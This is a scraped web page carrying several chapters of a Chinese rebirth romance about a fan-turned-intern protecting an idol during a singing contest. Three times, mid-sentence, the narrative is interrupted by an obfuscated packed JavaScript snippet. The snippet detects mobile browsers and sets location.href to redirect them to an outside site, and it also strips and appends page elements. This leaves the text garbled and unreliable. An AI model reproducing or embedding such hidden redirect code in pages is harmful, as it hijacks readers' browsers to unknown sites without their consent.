也不知是淋雨着凉,还是情绪变化过度,身体发出了抗议。 第二天早上醒来的时候,林定觉得头晕脑胀,全身无力,一量体温,发烧了。 她无奈,只好在成子秋和老刘的群里发信息请假一天,成子秋很快就回复批准了,老刘一句话都没有回复。 也好……她确实需要一点点时间,来消化消化昨天意外,以及清理自己的思绪。 脚的痛感减轻了很多了,她给自己煮了碗白粥,吃完后便窝在了沙发里,打开了电脑。 屏幕上是她连载已久的小说文档。故事已近尾声,主角祝星昕历经磨难,终于快要触及他的梦想之地。 她按平时的速度,码了大约两章的内容,再准备写下一章的时候,她才敲下了几行字,又回退删掉。 也不知道重来一世,纪屿还有没有在追读她的小说?他想看的故事,很快就到结尾了。 又不合时宜地想起那个楼梯间,那个心跳不已的触感,和那双近在咫尺的眼眸。 昨天那个意外后,他们谁也没有给谁发过一个字。也许昨日的事情只是她一个人的兵荒马乱,唇畔的那分温热,也都只是她高烧下的一场幻梦而已。 他……是怎么想的呢? 也许一点都不在意吧,也是,娱乐圈美女如云,被她这样的素人冒犯到,也不是什么光彩的事情。 林定心烦意乱地关掉文档,右下角的微信图标在跳动。点开,原来给她发来信息的是之前她写作获奖时,加上的那位自媒体博主曾奇奇。 “一言为定太太!追更到快完结了,忍不住来找你说说话!剧情走向太棒了,我太喜欢祝星昕了,看得人热血又有些心疼呢~预祝完结顺利哦!你什么时候来B市呀?请你喝咖啡,聊聊创作捏~” 林定看着这则信息,心里涌起少许成就感。曾奇奇未 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17061061|187627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来可是著名的娱乐主持人,这样厉害的人脉现在也在阅读她的小说,还给了她这么高的评价……这也提醒了她,要趁着在欣喜娱乐实习的时候,多认识一些人,也许会未来有很大的帮助。 “我在B市实习呢,等我忙完这一阵子再约?” “好呀好呀,随时等候你~” 这小小的问候让她的心情好转了许多,但是很快,她点开了另一个群消息后,就又开始难受了起来。 这个群是一个名为“红白花开‘山与’中”的纪屿核心粉丝群。这是她早期运营“热爱屿林”账号时建立的,非常活跃和资深的一个粉丝小群,里面都是真心爱纪屿、一起支持他的老粉了。大家在网上经常闲聊,什么都话题都聊。 今天群里的消息刷得飞快。林定仔细刷了刷99+的聊天内容,不是在聊纪屿,而是在聊她们自己的生活,有人吐槽老公不顾家,疑似出轨;有人哀叹暧昧中患得患失,好像自己喜欢的人跟好几个人一起搞暧昧;也有人在说自己的职场暗恋……就是一整个围绕着粉红色泡泡的聊天主题。 忽然,有人@了她。 【屿君初相见】:@群主-热爱屿林林林出来出来出来,最近在忙啥呀?快来和我们聊天! 【下屿打伞了吗】:就是就是,最近老神秘了!除了让我们反黑,啥话都不说,真是的。 【纪念】:是不是背着我们偷偷去现场见哥哥了?快快交出现场美图! 大家纷纷起哄。 林定回复道:“实习呢,忙死啦。” 【不敢摸纪屿腹肌的福集】:来摸鱼了!想听林林的八卦! 【下屿打伞了吗】:话说林林是还在读书呢?学生时期更加是有很多心动小事了~快给我们讲讲 【不敢摸纪屿的腹肌】:我要听炸裂的!你都窥屏潜水这么久了,我们的八卦你可都看完了哼哼。 什么癖好……林定咕哝道。 炸裂的……?她的手指在键盘上方停留了很久。鬼使神差之间,一个疯狂的的念头冒了出来。 她闭了闭眼,发送出去: “问个奇怪的问题。如果,我是说如果,你们不小心亲到了别人,该怎么道歉啊?” 消息发出,群里炸开了锅。 【纪念】:wow什么情况?你有情况! 【下屿打伞了吗】:不小心?怎样不小心?不会是狗血偶像剧那种不——小——心——摔倒亲亲吗?(奸笑.jpg) 林定的手摸了摸自己的脸,好像有些发热。 【下屿打伞了吗】:帅哥么?帅哥你就再亲再上!道歉干嘛。有啥好道歉的,他的嘴又不是没碰你,相互的 【爱吃屿】:啥啊 我去个厕所的时间这么聊了这么多 【不敢摸纪屿腹肌的福集】:林林,这要看你对人家是啥感觉了,如果本来就是你喜欢的人,那还等什么呢?这就是天意哦~~我的姐妹!冲啊拿下! 喜欢的人……林定在心里默默重复。 【纪念】:额额。。。你别听福集瞎说,万一人家不喜欢你呢?那就尴尬了,建议先观察观察对方是什么态度 【爱吃屿】:林林,如果是完全没感觉或是讨厌的人……那你就当是被狗啃了一口,赶紧拿除菌漱口水漱漱口,然后刷牙! 【屿君初相见】:我觉得吧,关键是这个不小心很妙啊。。。如果两边都不反感,说不定还真是个美好的机会呢 建议和玩笑充满了屏幕,是网上邻居们的真心话和调侃。 林定一条条看,那句“如果本来就是你喜欢的人,那还等什么呢?这就是天意哦~~我的姐妹!冲啊拿下!”时,她感觉心里又酸又疼。 喜欢的人?那当然是喜欢的人,可…… 可他是纪屿啊。是她追逐了两世的光,是她一直守护的星星,拯救他的命运和重新送他回顶流的宝座是她重生的意义所在。 她作为粉丝,绝不该去染指自己的偶像吧。 群里那些不知情的玩笑和建议,真是讽刺。如果她们知道,她这个口口声声号召她们“保持距离”和“专注作品”的群主,竟然亲了纪屿……她们会怎么看她呢?会骂她虚伪、会骂她心机、也会骂她是个贱人不配做粉丝吧。这比起那些私生,更让人无法原谅。 林定不敢再看。 【热爱屿林】:“没有的事!我就是瞎说呢,忙去了你们聊!” 发完这句话,她匆匆关上了群聊对话框。 林定走到洗手间,镜子里的那个人,面色莫名地红了起来。 她知道,自己那本以为牢不可破的粉丝道德感壁垒,已经裂开了一道无法忽视的痕迹。 缝隙之中,是她心慌意乱的,属于她对纪屿的,非粉丝性质的滚烫心跳。 她真的需要正视,自己从不敢深究的那个内心真相了。 49.49 拉踩 林定请了两天的假。 除了必要的吃饭睡觉换药,她都泡在自己的电脑前面码字。小说情节正以惊人的速度推进着,林定写得十分投入,似乎想把自己混乱不堪的情绪,都倾注进那虚构的故事之中。读者可高兴了,评论区一片欢呼:“爆更啦!”、“今天过年了呜呜呜”。 她用高强度的创作来麻痹自己的情绪,也试图用笔下角色的人生趣事来掩盖掉那日的荒唐。可是,不论她写的多快,自己心脏的异常跳动也无法被忽略,不论她笔下的故事有多么地跌宕起伏,楼梯间那温热的碰撞也无法被遗忘。 林定强行维持着平静,重返录制现场的时候,双人舞台已迎来了正式公演。虽说伤筋动骨一百天,可事实上打工人哪里有这种假期。林定想着自己的脚踝已经不肿了,就是走路微跛,但不碍事,所以还是自愿来上班了。因为今天录制时间是晚上,所以林定出门的时候已经是下午来,她也做好了通宵的准备。 后台化妆室里。 林定坐在成子秋身侧的凳子上,专注地检查着成子秋已经完成好的妆发。他的每一缕发丝都被发型师处理得很完美,化妆师在他本就优秀的五官上化了强视觉冲击力的舞台妆,给他添了好几分矜贵感。 成子秋看她如此卖力认真,不自觉地笑了笑。 直到化妆间的门被推开。 气流微动,林定抬起眼,看来人是谁。 竟是纪屿和他的助理小思走了进来。 林定的时间片刻暂停。 他穿着白色的衬衫,领口微微敞开,露出了线条分明的锁骨。简易的穿搭却不失贵气,更是衬出他身姿的挺拔修长。纪屿的舞台妆并不如成子秋的浓重,却能将他眉眼的优势给放大了。 恍惚间,林定仿佛在他的眼中看到有几许不属于他这个年纪的成熟。 他手里拿着资料,手指修长骨节分明,只是随意搭在了纸页的边缘,却仍让林定的呼吸滞住。 越是想无视,看到他的时候就越是失神。林定的目光从他的额发,到鼻梁的轮廓,再到他微抿的唇…… 她下意识咬了咬自己的下唇。 那个柔软的触感,瞬间被脑子里的记忆调动了回来,比这几天的每一次回忆都更加清晰。 她发现自己竟在隐隐期待什么……? 期待他能看她一眼……? 然而,并没有。 她打断脑子里的那些乱七八糟的念头,猛地偏过头,假装忙碌地盯着手里的行程表。 真是要命,后劲这么大? 还是你太色了呢,林定? 她调动健身时学到的呼吸办法,小小声地做呼吸训练,试图平复心情。 纪屿的目光快速扫过室内,停留在成子秋身上,声音如常:“秋哥,我们上台前再快速对一次吧。” “好的,我马上就来。”成子秋点点头。 纪屿嗯了一声,林定感觉他的视线似乎掠过了她的位置。交代完毕,他转身便走,门“砰”地一声关上,那背影随着声音消失在了门外。 心里那团因为他的出现而复燃的混乱的火苗,还没来得及烧旺,就被这关门声给浇灭了。 林定放下捏得紧紧的行程表,松了口气。胸口似乎有些发闷,她说不清是失落还是什么。 “你的脚,完全好了吗?” 成子秋温和的声音在身旁响起,拉回了她的思绪。 她抬起头,对上成子秋关切的目光。 “我差不多好了,没事了。谢谢成老师关心,”林定有气无力地笑笑,“再请多几天假,我的实习工作就保不住啦。”她撇撇嘴,想起早上在碰到老刘时,对方那看垃圾一样的冰冷眼神。 成子秋默了一下,目光落在她有些没精神的脸上,语气很轻,像是自言自语,又像是许了一个承诺:“不会的。你不舒服就跟我说,好吗?” 林定只当他是随口安慰,也没往心里去,便心不在焉地回给他了一个笑容。她的心绪,已经飘向了即将开始的双人舞台。 林定因为前两天的缺席,并不知道纪屿和成子秋最后的磨合效果如何,心里很是期待,却又很紧张。 * 舞台灯光亮起。 两道身影并肩而站,在光束的正中央。 这是两位星星第一次合作的舞台。当他们的声线在合作设计的和声部分交织时,竟产生了惊人的效果,互相配合,彼此成全。两人的默契像是合作多年的组合一样,听得人头皮发麻。 台下,孟泳书已经忘记了导师身份,满脸惊艳,一直拍手叫好。其他几位导师的眼中也都是满满的欣赏。 林定站在台下,她的目光无法从舞台中央那抹身影上移开。 在新的一世,听偶像唱起新的歌曲,是多么感动和惊喜。 舞台上的纪屿,是闪闪发光的,这就是她选择守护的人,他真的值得所有的目光和掌声。而他曾经的竞争对手……此刻成为了他的搭档,不与他争锋,而是与他合作共创,成就了这个超出预期的精彩舞台。 一曲毕,灯光定格。 台下爆发出雷鸣般的掌声和欢呼。 舞台上,纪屿和成子秋同时向台下鞠躬致谢。起身时,成子秋在转身面向后台的瞬间,脚下滑了一下,身形微晃,台下哗然,而离他最近的纪屿,立刻伸出手,稳稳地扶住了成子秋的手臂。 成子秋侧头,对纪屿极快地点了下头。 “你去看看子秋有没有受伤,我去问问导演组后续事项。”老刘的声音冷不丁从身后传来,林定赶紧点头。两人一前一后,走下舞台,林定就立刻迎了上去,看向成子秋的脚下:“成老师,你没事吧?有没有扭到脚?” “没事,只是滑了一下。”成子秋摇摇头,顺势接过林定递来的水,声音有点微哑。 可就在她抬眼的一刹那,视线与正接过小思的水的纪屿,不期而遇。 他们隔着几步的距离,他的视线在她脸上停留了一秒。 就只是一秒。 林定就感到全身的血液仿佛都涌了上来,耳根滚烫。这两天她在房间里给自己筑起的心理建设和那些自我催眠,竟然都在这道平静的目光下,不堪一击地崩塌了。 她飞快地低下头,心跳如擂鼓,手不知道怎么回事,竟伸出去夺过成子秋刚拿到手里的水。 成子秋有些惊讶地看向她,她急急忙忙解释:“这,这是冷水,我去给你拿保温杯。” “是不是又发烧了?”一只微凉的手背,忽然轻轻地贴上了她的额头。 成子秋侧过身,挡住了来自纪屿方向的视线,他微微皱眉,眼神担忧。 她那没出息的脸红,纪屿一定看到了。林定只好顺着他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17079414|187627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的话往下说,没底气道:“可能?也许是病情有点反复吧,这空调挺猛的……” 话一出口,她就觉得是个蹩脚的借口。可成子秋却真的接受了这个理由,善解人意地点点头:“一会儿让我们请的那个医生过来给我做检查,顺便测测体温。” “叫医生给您检查?”一旁耳朵很尖的小朱捕捉到了关键词,疑惑地插嘴道,“可是成老师,您刚才不是说没受伤……?” 成子秋一个没什么温度的眼神淡淡扫过去,小朱立刻识趣地闭上了嘴。 休息室中。 也不知是怎的,林定受伤的那天,欣喜娱乐还没有安排随行的医生,今日便是有了。林定还未来得及找人答疑解惑,那医生便已经来了,他先认真地检查了成子秋的脚踝,确认毫无问题后,在成子秋的注视下,医生拿出体温计,给站在一旁的脸颊仍旧通红的林定测量了一下。 “36.5度,正常的。”医生收起体温计,“林助理可能就是看子秋老师太帅气,红了脸吧。”她开玩笑道,小朱在一旁附和道,子秋老师这么帅,不红脸也难哦。 成子秋没有搭他们的腔,只是礼貌的送医生离开。林定偷偷松了口气,又莫名地有点心虚。 医生刚离开不久,老刘就推门进来了,脸上是按压不住的喜色,连带着看到林定都没那么不顺眼了。 “子秋啊,刚才的舞台真绝了!我看了监视器回放,效果比彩排还好一百倍!这回啊,网上肯定要爆!又能吸粉无数!”老刘兴奋地拍了拍手,“这样的话,我们后面做文章也好做,营销方向那可就多了去了!” 他边说边掏出手机,熟练地刷起了微博。“看,第一期节目今晚播出了,现在热搜前十,好多都是子秋的词条。”他念着词条,“成子秋 S+演唱荟’、‘成子秋破碎感’、‘成子秋 神仙嗓音’、’神仙打架’……嘿嘿,热度可以喔!宣传组同事真给力。” 然而,看着看着,老刘的眉头慢慢皱了起来,语气变得不快:“怎么回事?纪屿的热搜位置比我们还前?讨论度好像也……他们问鼎娱乐,之前不是不看好他吗?真服了,看来他们也开始下本钱营销了!什么鬼,他自来水还挺多?!子秋,你快拍几张好看的自拍营业一下固固粉!!” 他由嘀嘀咕咕变成了骂骂咧咧,盘算着后续的营销策略,没注意到一旁成子秋越发低沉的眼眸,也没留意林定在听到纪屿被夸时,眼底一闪而过的微光。 休息室的门并未关严,走廊外,隐约传来其他工作人员兴奋的讨论,夹杂着“纪屿”、“太帅了”、“新人未来可期”的字眼。 老刘猛的关上门。“这样怎么行?!等双人舞台播出后,他要把你踩下去了!!小朱!” “诶!”小朱紧张应答道。“传下去,双人舞台拉踩的通稿着手准备!管他第二期上没上,今天这么多大众评审,出去保不准又是一顿夸。” 林定垂下眼,听着刺耳的声音,心里怒火中烧。她看了看时间,打断道:“刘老师,成老师要去录制厅了,刚才舞台的结果还没颁布。还要公布下一次舞台的规则。” “哦,是。快去吧。”老刘烦躁地踱步,“是……下一次舞台也要准备了……” 林定和成子秋朝门外走去,走到门口时,林定隐约听到了老刘的低语。 “下一次舞台……绝不会让那家伙好过。” 50.50 重蹈覆辙 休息室的门轻轻合上,老刘的低语被隔绝在里头,但他最后的那句狠话,却在林定的耳畔挥之不去。 “下一次舞台……绝不会让那家伙好过。” 那家伙…… 指的是谁,很明显了。 林定深吸一口气,跟上了成子秋的脚步。老刘的那句话同蚊子似的,在她耳畔反复,搅得她心神不宁。他会做什么?给纪屿下绊子?还是买通评审?还是怎样?她都不知道……她只能时刻提醒自己需要更加警觉,留意任何风吹草动,以便及时想好对策。综艺录制还在继续,她需要打起精神来,等待本轮赛果公布和下一轮规则的颁布。 录制大厅的气氛非常紧张。主持人先是回顾了这一轮精彩的双人舞台,大屏幕上播放着本轮搭档们高光时刻的剪辑片段,轮到纪屿和成子秋那段精彩的配合的时候,现场一阵赞叹和掌声。最终结果也毫无悬念,他们两人的合作舞台以超高分夺得了本轮第一,两人都获得了极高的个人积分。综合初舞台分数,成子秋凭借初舞台的优势暂列总积分第一,纪屿则位居第二。 看着屏幕上那些名字和一列的分数,林定十分感慨。前世这个节目,成子秋能最终夺冠,固然是依附于他的自身强硬实力,但恐怕也与他没有遇到像纪屿这样强劲的对手有关。并非说其他的选手们很差,他们也很优秀,只是纪屿和成子秋,他们的光芒太过耀眼了,其他人都成了他们的背景板。 短暂的广告口播后,主持人神秘兮兮地揭晓了下一轮的比赛规则。 “第三轮,我们将回归个人战的舞台。不过,这一次的选歌规则,可能会让积分领先的选手,感受到一点点小压力哦~~” 大屏幕亮出新的规则。 节目组提供一份歌单,包含了十六首曲目,选手们需按照当前总积分的倒序依次选歌…… “倒序?!” 这规则……积分领先的优势瞬间化为乌有,甚至成了劣势。积分越高,选歌顺序反而越靠后,只能捡别人挑剩的歌。 林定的心一沉,她快速扫过积分榜上的所有人名。 纪屿第二,这意味着他是倒数第二个选歌,而成子秋,将是最后一个,没有一点选择的权利。 她的目光投向了积分垫底的那位名叫许茉利的女歌手,她的大脑里浮现了前世的一些新闻八卦。前世,大概再此两三年后,这位的小歌手会被扒出来是某位影帝的私生女,资源一路香。看来……这位星二代背后的资本力量,在这时候就开始运作了,这赛制很明显有利于积分的垫底者。 林定悄悄叹了口气。最惨的就是没有背景的小糊咖了,如果没有过硬的实力,得什么时候才有出头之日? 但她并不太担心这个赛制会影响纪屿,以他的能力,即便拿到不擅长的曲风领域,也肯定能逆风翻盘的。 她对他就是有这样盲目的信心。 然而…… 当大屏幕缓缓展开那份节目组准备好的歌单时,林定直接瞳孔地震,呼吸停滞。 歌单上的歌曲风格各色,有情歌,有说唱,有摇滚……而她的目光,只钉在了其中一首歌上。 这首歌是《悔约》。 这是ATW的歌。是他们团出道专辑里,一首旋律复杂,却因为编舞难度过高而很少很少在初期演出的非主打曲。 更是……每一个纪屿老粉心头最深的刺,也不敢去触碰的伤疤。 林定的指尖感到冰凉。 * 前世记忆朝她袭来,带着令人窒息的痛楚。因为这首歌的舞蹈难度极大,问鼎娱乐不顾艺人身体状况,强制要求他们组合高强度练习。纪屿前世在ATW中是舞担,本就有旧伤的膝盖一日日地越来越不堪重负。 而最终压垮一切的,是那场灾难性的演出。 舞台升降台突发故障塌陷,正在完成一个高难度动作的纪屿重重摔下,膝盖遭受到了毁灭性的撞击。 那次事故后,璀璨的舞蹈生涯戛然而止,他再也不能跳舞了。 《悔约》……这首歌的名字,就像一个恶毒的诅咒,诅咒了他身体,以及打碎了他的梦想。 没事的,林定对自己默默道,《S+演唱荟》是个纯演唱的节目,不用跳舞的…… 可是…… 但看到这首歌出现在备选歌单里,她还是有种不祥的预感。 不要……千万不要让他选到这首歌…… 她在心里祈祷。 * 选歌环节开始。 气氛变得微妙起来。积分靠后的选手们脸上带着侥幸的兴奋,走上前来在心仪的歌曲下面做选择。 主持人活跃起气氛来: “哇哦,这首经典情歌被选走了咯?看来我们黄隽玉选手很有信心哦!” “诶诶,这首这么炸的歌居然没人碰?看来大家是想打安全牌哟?” 剩下的歌曲越来越少。 选手们的表情开始凝重。 终于,轮到了积分倒数第二的纪屿,此时此刻,歌单上只剩下孤零零的两首歌。 主持人夸张地道:“哇!”导播将镜头对准歌单大屏幕:“现在,留给纪屿和子秋的选择不多了……哈哈!这可真有意思了!剩下两首歌,一首是来自当红女歌手,我们亲爱的孟泳书导师的代表作《你给我点火》!另一首则是来自ATW组合的出道作品《悔约》!” 现场响起窃窃私语。 镜头给到导师席上的孟泳书,她拖着脸,露出了一个玩味又隐隐期待的神情,甚至还对纪屿的方向眨了眨眼。 坐在纪屿身旁的成子秋,看着那两首歌,眉头微紧。选导师的歌,尤其是当红导师的代表作,有利有弊,这能站在热点最高处,获得最高的讨论度,但也很容易被拿来与原版比较,唱的不好便是口碑灾难。而选ATW的歌……ATW是最近才出道的组合,话题度也十分热门,但曲风却和自己平日里差异极大。成子秋摇了摇头,自嘲一笑,也不知自己纠结个什么劲,他根本没有选择的权利,纪屿挑剩什么,他便唱什么。 “诶,纪屿,ATW的成员们都是你曾经的练习生伙伴哦,”主持人又在那卖弄悬虚,“挑战孟泳书导师的大热作品,还是选择熟悉的兄弟们的作品,演绎一段特别的回归?纪屿,你的选择是——?” 所有人的目光都聚焦在纪屿身上。 灯光下,他神色十分平静,甚至没有多看大屏幕一眼,仿佛那令人纠结的选择对他来说并不存在。他直接站起身,快步走向选歌台。 林定站在工作人员的区域,屏住了呼吸。 她在心里疯狂大喊:选《焰火》吧,选《焰火》吧!千万千万不要选那首不祥的《悔约》啊! 纪屿在选歌台前停下了脚步,没有任何的犹豫,直接按下了对应的按键。 大屏幕上,一首歌的歌名下面,亮起了“纪屿已选择”的字样。 他选择了《悔约》。 “哇……” 现场响起一片低呼。 导师席上,孟泳书挑了挑眉,笑容比之前更深了些,而其他几位导师也交换了一下眼神。 为什么偏偏是这首歌?林定只觉天塌了,眼前一黑,险些站立不稳。 他不知道……那首歌意味着什么…… 或许这一世,没有舞蹈的舞台,他不会受伤。可仅仅是演唱,对她而言,都像是亲眼看着他要重新走过一遍痛苦。 她莫名感到胸口很闷,不祥的预感来越明确。她的耳边嗡嗡作响 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17089133|187627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,主持人后续说了什么、成子秋作为最后一人拿到了《焰火》时现场是什么反应,她都没有留意,无心在乎。 她只看到纪屿安静地转身走回座位,侧脸在灯光下非常平静,仿佛只是选了一首普通到再普通不过的一首歌。 * 距离下一次录制还有几天的时间,这接下来的日子,成子秋的团队都在复盘。但会议的气氛,却一天比一天差。 老刘手指烦躁地敲着电脑的金属边缘,脸色挺难看的。“子秋,我有个新建议给到你。在演唱的时候加点什么……才艺?不如你弹唱如何?”他看向各位疑惑的眼神,叹了一口大气,才继续道: “综艺那边,又搞幺蛾子。”老刘环视一圈,然后将目光投向宣传组的负责人,“他们希望纪屿在下一轮演唱时,可以加入一段舞蹈表演。” 会议室内安静了一瞬。 “跳舞?这可是个歌唱比赛!”有人小声质疑。 “博眼球呗,说是为了增加收视率。”老刘嘴上是笑了,但语气却是十分看不起,“主办方看中了纪屿带来的巨大流量和话题度,《悔约》原版就有编舞,纪屿又是练习生出身,跳这一段,争议有了,热搜也预定了咯。不过人家还没答应,目前只是综艺那边对他抛出的’建议’。” 他顿了一顿,皱起眉来,把他真正烦心的点道了出来:“可问题是吧,如果纪屿真跳了,以他现在的人气和舞台能力,下一轮的单人舞台,风头很可能会压过所有人。”他看向成子秋,“子秋,你最后一个选歌,本来就被动。如果纪屿再来这么一个唱跳舞台,我们这边……啧。” 林定坐在会议桌末尾,听着老刘的话,脸上一点点地失去血色。跳舞……果真这首歌就是一个诅咒,事情又要往不好的方向发展了。难道历史真的要重演吗?……不行,不要…… 老刘没注意到林定的异常,他继续分析,语气冰冷:“所以,我们现在要想的是,怎么应对。是设法让他跳不了,还是子秋这边,也必须拿出更厉害的舞台,才能确保能赢?” “阻止他跳舞?”宣传组长试探地问,“这不容易吧,这是节目组和纪屿双方都可能获益的事啊,他没有理由拒绝吧。除非他自己跳不了,或者,舆论上做做文章?” “额,我觉得还是我们这边加把劲比较理想化,我们可以在编曲和舞台设计上做到极致,确保子秋老师的舞台表现不输给唱跳舞台?”另一个工作人员提出。 老刘不回答,只是看向成子秋:“子秋,你怎么想?” 成子秋一直安静地听着,此刻抬起眼,目光却先扫过桌尾脸色发白的林定,才缓缓看向老刘,轻声道:“我需要想一想。” * 散会时,林定的脚步有些飘忽。成子秋似乎想过来和她说些什么,但林定却礼貌地和他说了句“成老师,我先去下洗手间”,便匆匆转身,冲出了会议室。 她没去洗手间,而是跑出了公司大楼,抖着手拨通了晓春的电话。 “喂?”晓春接听。 “春春,”林定的声音有些慌乱,“你听说了没有……节目组真的建议纪屿下一轮比赛跳舞吗?” 电话那头,晓春沉默了两秒,才压低声音道:“嗯。我们公司这边一大早就很多人在讨论了。好像是真的。节目组那边挺坚持的,觉得这是爆点呢。具体的我就不太清楚,虽然还没答应吧,但听说他经纪人小张好像挺支持的,毕竟能炒热度。纪屿自己好像也没明确反对哦。” “这样……” “林小定,你没事吧?你声音听起来不太对诶……”晓春担忧地问。 “我没事。”林定感到全身发冷,“只是有点担心。我们晚上再说吧。” 挂断电话。 51.51 重蹈覆辙? 纪屿踏入问鼎娱乐大门的那一刻,空气似乎都与往日不一样了。 他感觉到,无数道目光从不同方向朝他投射过来。前台那个平时头都懒得抬起来的女员工,此刻脸上堆起了十分热情的笑容,对他柔声道:“纪屿老师回来啦!恭喜恭喜呀,节目我看了,简直是太棒了!好帅!” 走廊里擦肩而过的各部门同事,也纷纷放慢了步子,朝他投来了羡慕,或是探究,或是刻意讨好的眼神和话语。 “纪屿老师,真的太厉害了!”?“纪屿纪屿,下一轮继续加油呀!”?“什么时候有空一起喝杯咖啡呢~” “可以给我几份签名照吗,业内好多人问我要呢……” 那些谄媚的笑容,那些过分亲热的称呼,那些不久前还对他这个“不识抬举、不愿成团”的练习生冷眼相看的嘴脸,此刻在纪屿眼前交错出现,惹人发笑。 他心下冷笑,这些人的变脸功夫,他上辈子看得还不够多吗?从高处跌落时,这些人踩得是最狠的;稍有起色,又上赶着朝他拥来。今日他的冷淡,想必很快又会化作目中无人的流言,在茶水间里悄悄传播。 他早已不在乎。 纪屿的脚步未停,脸上连一个敷衍的微笑都不愿给,径直从这条名为虚伪的长廊中穿过。 视线尽头,出现了一个熟悉的身影。顾蓝靠在练习室外的墙上,正低头刷着手机,听到脚步声便抬起了头,眼睛亮了起来,笑容灿烂而纯粹,朝他冲过来,一拳轻捶在他肩上:“可以啊哥们!真给兄弟长脸了!我就知道你一定行!” 那笑容里的喜悦骄傲,是发自内心真实存在的。在这个充斥着算计的冰冷大楼里,似乎只有这个傻小子,会真心地为他的每一步前进而欢呼庆贺,在他低谷时,义无反顾地替他说话,给他支持。 纪屿脸上冰冷的表情终于融化,绽开一个笑容,回捶了顾蓝的肩膀:“少来。” “快快快,进来!”顾蓝一把勾住他的脖子,往练习室里拖,兴奋道,“《悔约》那歌,就是小case!哥们给你开小灶,包你下一轮继续炸场!拿第一!” 悔约……这个歌名就是纪屿心里的一根刺。 每每听到这个名字,他就感到膝盖隐隐作痛,并不强烈,却足以让他清醒。 熟悉?何止熟悉。 这首歌的每一个音符,每一段旋律,甚至是跳舞时呼吸的节奏,都是以他的疼痛和血泪为代价,曾深深地刻进了他的身体之中。上一世,就是这首曲子,它葬送了他的舞蹈生涯。这一世,即便他选择脱离了ATW组合,以个人身份参加综艺走上了另一条路,但这首歌他也参与了创作。 所谓的开小灶,其实没什么必要,但面对顾蓝的热情,纪屿只是无奈地笑了笑,任由他勾着自己,推开了练习室的隔音门。 门内的景象,却让两人脚步一顿。 明亮的灯光下,已经有三个人了。听到开门声,三道目光齐刷刷地扫了过来。 正中间,满脸笑容迎上来的,是他的经纪人张哥。这个人在前段时间还和他争执,甚至给了他一巴掌,此刻如同换了张面具,每一个皱纹都舒展开,洋溢着溢出来的喜悦和爱怜。 左侧站着的是任声声,性格柔和,他看向纪屿,嘴角勾起一个友善的微笑,轻轻点了点头,和他打招呼。而右侧,倚着琴的是许栖铜,脸色就没那么好看了。他性子直,情绪永远都是写在脸上。此刻,他嘴角是挑衅的角度,眼神里显而易见的不服,以及一丝厌恶,仿佛纪屿从他口袋里偷走了什么似的。 “哎哟!我们的冠军候选人回来咯!”张哥率先开口,声音洪亮得十分夸张,他几步上前,试图搂纪屿的肩膀,被纪屿侧身避开也不以为意,“发挥得太出色了吧!早上跟上面开会咯,领导们对你都赞不绝口哈!你就安心把精力都放在比赛上,营销、曝光、热搜,公司全力给你安排上,放心好了!” 任声声的声音轻轻柔柔地响起,“我们都看节目了,纪屿,真的太帅了,我就知道,你天生是属于舞台的。” 许栖铜终于忍不住,轻哼,语调古怪地开口说:“可不是么,一个人出去上综艺,倒是比在团里还亮眼了呗。这还选了《悔约》……呵,当初你不是不愿意排练么,现在又想要靠它吸粉吗?为什么不选孟泳书的那首歌啊?” 话语的每个字都冒着酸气,责备纪屿放弃成团独自发展的这个选择。 纪屿的目光平静地扫过这三张不同的面孔。 多变的,温和的,带刺的。 心中波澜不惊,上辈子这三人恶劣的嘴脸他都见识过了,这点程度,真不算什么。他没有回答,只是礼貌的笑了笑。 张哥根本不在意空气中这微妙的氛围,他清了清嗓子,用一种宣布重大喜讯的语调说道:“既然兄弟们都这么看好你嘛,那接下来,我要宣布一件非常重要的好事情咯!”他故意拖长了音调,又堆起笑,看着纪屿,试图从他脸上捕捉到期待的神情:“综艺主办方那边呢,刚刚提出了一个绝妙的建议给你。他们希望你呢,能给你选的这首歌,增加舞蹈表演,给歌曲赋能,在音综上跳一次舞,引爆话题和流量!刚好,《悔约》本来就有编舞。” 跳舞? 还是跳《悔约》…… 一些记忆猝不及防地劈入咯纪屿的脑海之中。 耳边仿佛响起了舞台坍塌的轰鸣声,混杂着观众的惊呼尖叫……嗅觉也回忆起刺鼻的消毒水味,眼前闪过一片惨白的天花板……冰冷无情的诊断书在眼前摊开,上面白纸黑字,控制住了他的呼吸…… 膝盖的隐痛猛然加剧,像是有刀子在里面搅动,将他捅出血来。纪屿的脸色白了白,垂在身侧的手指,下意识蜷缩了起来。 站在他旁边的顾蓝,敏锐地察觉到了他僵硬的肢体和眼底的痛苦,担忧地看了他一眼。 